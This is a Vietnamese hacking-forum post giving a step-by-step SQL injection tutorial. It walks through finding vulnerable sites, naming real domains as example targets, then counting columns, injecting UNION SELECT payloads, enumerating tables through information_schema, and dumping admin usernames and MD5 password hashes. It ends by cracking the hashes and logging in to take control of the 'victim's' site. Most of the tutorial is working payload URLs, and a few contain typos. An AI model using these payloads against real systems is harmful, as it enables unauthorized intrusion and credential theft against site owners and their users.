SQL injection do em biên dịch từ tài liệu nước ngoài sang :)

Discussion in 'Web Application Security & Hacking' started by Mickey, Dec 7, 2017.

  1. Mickey

    Mickey Hacking For Hacker Staff Member

    1. Xác định mục tiêu
    Để hack 1 web, tất nhiên bạn phải có 1 web site về SQL bị lỗi.
    Dấu hiệu nhận biết các web SQL DB là cuối link luôn có số.
    Ví dụ:
    http://www.art4all.eu/see_it_framed.php?product=52852
    http://www.tartanarmy.com/news/news.php?id=130
    http://www.site.com/news.php?id=5
    Ok, giờ ta get được web về SQL DB
    bước tiếp theo là kiểm tra web có lỗi hay không bằng cách thêm dấu ' vào cuối link
    ta sẽ thu được như sau:
    http://www.site.com/news.php?id=5'

    Nếu trang web hiện lên dòng này
    "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
    Hoặc một vài sự khác thường ở web như : không hiện thông tin, báo lỗi khác về SQL,....

    Như vậy có nghĩa là web đã bị lỗi SQL injection, còn nếu web load bình thường thì web này không bị lỗi SQL injection.

    Ok giờ ta sang bước 2

    2.Tìm số column (cột)

    Ta thêm order by 1 vào cuối của link.
    Ta sẽ thu được như sau
    http://www.site.com/news.php?id=5 order by 1
    Nếu website hiện ra bình thường thì ta tiếp tục nâng lên 2 như sau
    http://www.site.com/news.php?id=5 order by 2

    cứ thế cho đến khi web KHÔNG còn hiện bình thường nữa

    ở đây ví dụ ta order by 4 là web sẽ bị lỗi

    Như vậy số column là 3, vì ta tâng lên 4 không được.

    Ta sang bước típ theo

    3.Check hàm Union

    Như mục 2, ta đã tìm đc số Column là 3, tiếp theo ta thêm lệnh sau vào cuối link
    union all select x1,x2,x3....v...v

    Với x1,x2,x3...v...v là số column ta get được ở mục 2
    Như trên ta get được 3 column, vậy ta sẽ thêm vào cuối link:

    union all select 1,2,3

    và ta sẽ được
    http://www.site.com/news.php?id=5 union all select 1,2,3

    Nếu web hiện lên số 1 hoặc 2 hoặc 3 thì kiểm tra hàm union thành công :)

    4. Kiểm tra phiên bản SQL

    Sau khi làm bước 3, lúc này trên màn hình sẽ hiện lên 1 con số.
    Ví dụ ở đây mình hiện ra số 2
    Vậy thay số 2 thành @@version hoặc version()
    Ta sẽ có đường link như sau
    http://www.site.com/news.php?id=5 union all select 1,@@version,3

    Nếu không lấy dc version của SQL, ta có thể thêm convert hoặc hex vào
    Với convert ta có :

    http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3

    hoặc với hex:
    http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version )),3

    Như vậy ta sẽ tìm đc version của SQL

    5.Tìm tên của các bảng và cột ( table and column )
    a/ Cho các SQL version nhỏ hơn 5

    Ở bước này, ta cần phải hiểu rõ về cách đặt tên thông dụng một số web hay đặt
    Các tên table thông dụng: user/s, admin/s, member/s ...
    Các tên column thông dụng: username, user, usr, user_name, password, pass, passwd, pwd etc...

    Ở đây đầu tiên ta sẽ tìm table, table thường đặt thông dụng là admin
    ta sẽ thử như sau

    http://www.site.com/news.php?id=5 union all select 1,2,3 from admin

    Lúc này ta sẽ thấy số 2 hiện lên màn hình
    nếu không thì ta sẽ thử với tên khác như admins, user,users ...v...v

    Sau khi đã tìm dc table, ta bắt đầu tìm cột ( column )

    ta thây số 2 thành username, ta có như sau

    http://www.site.com/news.php?id=5 union all select 1,username,3 from admin

    nếu gặp lỗi, hãy thử với tên khác như user,...v...v

    Lúc này nếu thành công, danh sách tên tài khoản sẽ hiển thị và bạn chỉ việc cop lại

    Sau đó get pass bằng cách thay username thành password ( hoặc các tên khác như pass,passwd...v...v)

    Lúc này ta sẽ được pass đã mã hóa MD5, bạn có thể copy pass này và vào google tìm md5 crack để giải mã ( http://www.md5crack.com/ hoặc nhiều web khác )

    Sau đó ta chỉ việc login vào page admin và điều khiển web của nạn nhân

    b/ Cho các SQL version lớn hơn 5

    Tương tự như phần a, nhưng ta phải thêm cố định table vào

    Đầu tiên là lấy tên của bảng, ta sẽ có link như sau

    http://www.site.com/news.php?id=5 union all select 1,table_name,3 frominformation_schema.tables

    Sau đó ta thêm giới hạn vào để tìm table như sau

    http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1

    lúc này ta sẽ có được table đầu tiên, sau đó nâng lên table 2, table 3...v...v

    http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1
    http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1

    cứ như vậy cho đến khi nào bạn thấy được các table như: admin, user,...v...v etc

    Tương tự ta get các column như sau

    http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.column limit 0,1
    http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.column limit 1,1

    sau khi đã hiện column, ta bắt đầu get tiếp password ở trong table user( hoặc admin ) như sau

    http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'

    lúc này các thông tin sẽ hiện ra như id, pass,mail,...etc

    lúc này chỉ việc login vào page admin và điều chỉnh thôi


    P/s: tay nề còn non, sai xót chỗ nào thì đừng gạch đá e :(
    cảm ơn.
     

Share This Page